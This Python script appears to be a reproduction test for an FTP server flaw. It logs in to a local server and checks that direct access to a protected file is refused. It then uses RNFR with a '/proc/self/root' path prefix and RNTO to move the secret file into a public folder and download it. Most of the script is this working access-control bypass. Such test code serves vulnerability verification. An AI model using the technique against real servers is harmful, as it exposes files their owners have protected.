import ftplib
import os
import sys

host = "localhost"
port = int(os.environ.get("PORT", "2121"))
user = "testuser"
passwd = "testpass"
test_root = os.environ["TEST_ROOT"]
expected = os.environ["SECRET"]

protected_abs = os.path.join(test_root, "protected", "secret.txt")
public_abs = os.path.join(test_root, "public", "leaked.txt")
public_rel = "public/leaked.txt"

results = {}

print("=== Connecting to FTP server ===")
ftp = ftplib.FTP()
ftp.connect(host, port)
ftp.login(user, passwd)
print("Logged in as testuser")

# 1. Verify direct access to protected file is denied
print("\n=== Test 1: Direct RETR of protected file should fail ===")
try:
    ftp.voidcmd("TYPE I")
    ftp.retrlines("RETR protected/secret.txt")
    results["direct_retr"] = "ALLOWED (unexpected)"
except ftplib.error_perm as e:
    print(f"Direct RETR denied: {e}")
    results["direct_retr"] = "DENIED (expected)"
except Exception as e:
    print(f"Direct RETR error: {e}")
    results["direct_retr"] = f"ERROR: {e}"

# 2. Verify direct RNFR on protected file is denied
print("\n=== Test 2: Direct RNFR of protected file should fail ===")
try:
    resp = ftp.sendcmd("RNFR protected/secret.txt")
    print(f"Direct RNFR response: {resp}")
    results["direct_rnfr"] = "ALLOWED (unexpected)"
except ftplib.error_perm as e:
    print(f"Direct RNFR denied: {e}")
    results["direct_rnfr"] = "DENIED (expected)"
except Exception as e:
    print(f"Direct RNFR error: {e}")
    results["direct_rnfr"] = f"ERROR: {e}"

# 3. Exploit: RNFR with /proc/self/root prefix, then RNTO public dir
print("\n=== Test 3: RNFR with /proc/self/root prefix (bypass) ===")
proc_path = "/proc/self/root" + protected_abs
print(f"RNFR {proc_path}")
try:
    resp = ftp.sendcmd(f"RNFR {proc_path}")
    print(f"RNFR response: {resp}")
    if not resp.startswith("350"):
        print(f"RNFR bypass did not return 350: {resp}")
        results["bypass_rnfr"] = f"UNEXPECTED: {resp}"
        ftp.quit()
        sys.exit(1)
    results["bypass_rnfr"] = "ALLOWED (exploit)"
except ftplib.error_perm as e:
    print(f"RNFR bypass denied: {e}")
    results["bypass_rnfr"] = f"DENIED: {e}"
    ftp.quit()
    sys.exit(1)
except Exception as e:
    print(f"RNFR bypass error: {e}")
    results["bypass_rnfr"] = f"ERROR: {e}"
    ftp.quit()
    sys.exit(1)

print(f"RNTO {public_abs}")
try:
    resp = ftp.sendcmd(f"RNTO {public_abs}")
    print(f"RNTO response: {resp}")
    if not resp.startswith("2"):
        print(f"RNTO did not succeed: {resp}")
        results["bypass_rnto"] = f"UNEXPECTED: {resp}"
        ftp.quit()
        sys.exit(1)
    results["bypass_rnto"] = "ALLOWED (exploit)"
except ftplib.error_perm as e:
    print(f"RNTO denied: {e}")
    results["bypass_rnto"] = f"DENIED: {e}"
    ftp.quit()
    sys.exit(1)
except Exception as e:
    print(f"RNTO error: {e}")
    results["bypass_rnto"] = f"ERROR: {e}"
    ftp.quit()
    sys.exit(1)

# 4. Retrieve the leaked file from public directory
print("\n=== Test 4: RETR renamed file from public directory ===")
ftp.voidcmd("TYPE A")
content = []
try:
    def cb(line):
        content.append(line)
        print(f"RETR line: {line}")
    ftp.retrlines(f"RETR {public_rel}", cb)
    results["retr_public"] = "ALLOWED (exploit)"
except ftplib.error_perm as e:
    print(f"RETR public denied: {e}")
    results["retr_public"] = f"DENIED: {e}"
except Exception as e:
    print(f"RETR public error: {e}")
    results["retr_public"] = f"ERROR: {e}"

ftp.quit()

print("\n=== Results ===")
for k, v in results.items():
    print(f"{k}: {v}")

leaked = "\n".join(content)
if leaked.strip() == expected.strip():
    print("\nSUCCESS: Secret content was leaked via RNFR /proc/self/root bypass!")
    sys.exit(0)
else:
    print(f"\nFAILURE: Leaked content does not match secret.\nExpected: {expected}\nGot: {leaked}")
    sys.exit(1)